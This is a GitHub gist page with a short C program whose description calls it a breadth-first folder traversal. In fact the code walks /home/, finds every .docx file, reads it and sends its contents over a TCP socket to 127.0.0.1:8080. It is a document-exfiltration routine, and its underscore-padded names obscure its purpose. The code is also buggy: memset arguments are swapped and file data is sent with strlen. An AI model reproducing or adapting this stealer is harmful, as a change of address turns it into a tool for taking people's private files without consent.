Last active
June 19, 2018 03:17
-
-
Save thinkycx/df1c782b04fa9e5e7b58103426fbc591 to your computer and use it in GitHub Desktop.
use BFS to traversal folder
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#include <stdio.h> | |
#include <dirent.h> | |
#include <stdlib.h> | |
#include <string.h> | |
#include <unistd.h> | |
#include <sys/socket.h> | |
#include <netinet/in.h> | |
#include <fcntl.h> | |
#include <arpa/inet.h> | |
#include <sys/types.h> | |
#include <sys/stat.h> | |
#include <regex.h> | |
void f(){ | |
struct ____foldernode____{ | |
char *____path____; | |
struct ____foldernode____ *____next____; | |
}; | |
int ____sockfd____; | |
struct sockaddr_in ____server_addr____; | |
DIR *____dir____; | |
struct stat ____statbuf____; | |
struct dirent *____ptr____; | |
char *____filename____; | |
char *____filepath____; | |
char *____data____; | |
char *____foldername____ ; | |
char *____folderpath____ ; | |
const char ____pattern____[0x10]="[^/]+\\.docx$"; | |
regmatch_t ____pmatch____[1]; | |
regex_t ____reg____; | |
bzero(&____server_addr____, sizeof(____server_addr____)); | |
____server_addr____.sin_family = AF_INET; | |
____server_addr____.sin_port = htons(8080); | |
inet_aton("127.0.0.1", &____server_addr____.sin_addr); | |
struct ____foldernode____ ____folderstart____; | |
____folderstart____.____path____ = "/home/"; | |
____folderstart____.____next____ = NULL; | |
struct ____foldernode____ * ____folderfirst____; | |
____folderfirst____ = &____folderstart____; | |
struct ____foldernode____ * ____folderlast____; | |
____folderlast____ = &____folderstart____; | |
while(____folderfirst____ != NULL){ | |
____dir____ = opendir(____folderfirst____->____path____); | |
if (____dir____) { | |
while ((____ptr____ = readdir(____dir____)) != NULL) { | |
if(strcmp(____ptr____->d_name, ".")==0 || strcmp(____ptr____->d_name, "..")==0) | |
continue; | |
else if(____ptr____->d_type == 8){ | |
____filename____ = malloc(0x100); | |
____filepath____ = malloc(0x1000); | |
memset(____filename____, 0x100, 0); | |
memset(____filepath____, 0x100, 0); | |
strcpy(____filename____, ____ptr____->d_name); | |
sprintf(____filepath____, "%s/%s", ____folderfirst____->____path____, ____filename____); | |
regcomp(&____reg____,____pattern____,REG_EXTENDED); | |
int ____status____=regexec(&____reg____,____filename____,1,____pmatch____,0); | |
if (____status____==0){ | |
sprintf(____filepath____, "%s", ____filepath____); | |
int ____fd____ = open(____filepath____, O_RDONLY); | |
if(____fd____){ | |
stat(____filepath____, &____statbuf____); | |
int ____filesize____ = -1; | |
____filesize____ = ____statbuf____.st_size; | |
if(____filesize____>0){ | |
____data____ = malloc(____filesize____ +1); | |
memset(____data____, ____filesize____+1, 0); | |
read(____fd____ , ____data____, ____filesize____+1); | |
____data____[____filesize____] = 0; | |
if ((____sockfd____ = socket(AF_INET, SOCK_STREAM, 0)) < 0) | |
{ | |
return; | |
} | |
if (connect(____sockfd____, (struct sockaddr *)&____server_addr____, sizeof(____server_addr____))<0) | |
{ | |
return; | |
} | |
send(____sockfd____, ____data____, strlen(____data____), 0); | |
close(____sockfd____); | |
free(____data____); | |
close(____fd____); | |
} | |
}else{ | |
return; | |
} | |
} | |
free(____filename____); | |
free(____filepath____); | |
} | |
else if(____ptr____->d_type == 4){ | |
____foldername____ = malloc(0x100); | |
____folderpath____ = malloc(0x1000); | |
memset(____foldername____, 0x100, 0); | |
memset(____folderpath____, 0x1000, 0); | |
strcpy(____foldername____, ____ptr____->d_name); | |
sprintf(____folderpath____, "%s/%s", ____folderfirst____->____path____ , ____foldername____); | |
struct ____foldernode____ *____foldernew____; | |
____foldernew____ = malloc(sizeof(struct ____foldernode____)); | |
____foldernew____->____path____ = malloc(strlen(____folderpath____)+1); | |
strcpy(____foldernew____->____path____, ____folderpath____); | |
____foldernew____->____next____ = NULL; | |
____folderlast____->____next____ = ____foldernew____; | |
____folderlast____ = ____foldernew____; | |
free(____foldername____); | |
free(____folderpath____); | |
} | |
} | |
}else{ | |
return; | |
} | |
____folderfirst____ = ____folderfirst____->____next____; | |
closedir(____dir____); | |
} | |
} | |
int main(void) { | |
f(); | |
} |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment